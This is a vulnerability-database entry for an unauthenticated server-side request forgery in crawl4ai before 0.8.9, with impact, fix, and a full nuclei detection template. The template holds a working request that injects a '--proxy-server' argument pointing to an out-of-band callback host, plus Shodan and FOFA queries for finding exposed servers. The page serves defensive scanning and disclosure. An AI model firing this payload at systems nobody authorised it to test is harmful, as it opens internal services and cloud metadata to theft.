HexBrain

Browse / CVEs / CVE-2026-53755

CVE-2026-53755· CWE-918

crawl4ai < 0.8.9 - Server Side Request Forgery

highseverity
8.2CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it

Crawl4AI < 0.8.9 contains a server-side request forgery caused by insufficient SSRF destination checks on proxy addresses in browser and crawler configurations, letting unauthenticated attackers access internal services and cloud metadata endpoints.

Impact

Unauthenticated attackers can access internal services and cloud metadata, potentially leading to sensitive information disclosure and further network compromise.

Fix

Update to version 0.8.9 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_any(body, "crawl4ai", "Crawl4AI", "Crawl4ai")
Send: POST /crawl
Positive when: status_code == 200 and contains_any(interactsh_protocol, "http", "dns")

Run it with nuclei: nuclei -id CVE-2026-53755 -u <target>

The full check
id: CVE-2026-53755

info:
  name: crawl4ai < 0.8.9 - Server Side Request Forgery
  author: str4k3r
  severity: high
  description: |
    Crawl4AI < 0.8.9 contains a server-side request forgery caused by insufficient SSRF destination checks on proxy addresses in browser and crawler configurations, letting unauthenticated attackers access internal services and cloud metadata endpoints.
  impact: |
    Unauthenticated attackers can access internal services and cloud metadata, potentially leading to sensitive information disclosure and further network compromise.
  remediation: |
    Update to version 0.8.9 or later.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-6qhc-x826-342c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: 'title:"crawl4ai"'
    fofa-query: 'body="crawl4ai"'
  tags: cve,cve2026,crawl4ai,ssrf,unauth,proxy,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "crawl4ai", "Crawl4AI", "Crawl4ai")'
        condition: and
        internal: true

  - raw:
      - |
        POST /crawl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"urls":["http://example.com"],"browser_config":{"type":"BrowserConfig","params":{"headless":true,"extra_args":["--proxy-server=http://{{interactsh-url}}"]}},"crawler_config":{"type":"CrawlerRunConfig","params":{"cache_mode":"BYPASS","page_timeout":8000}}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(interactsh_protocol, "http", "dns")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from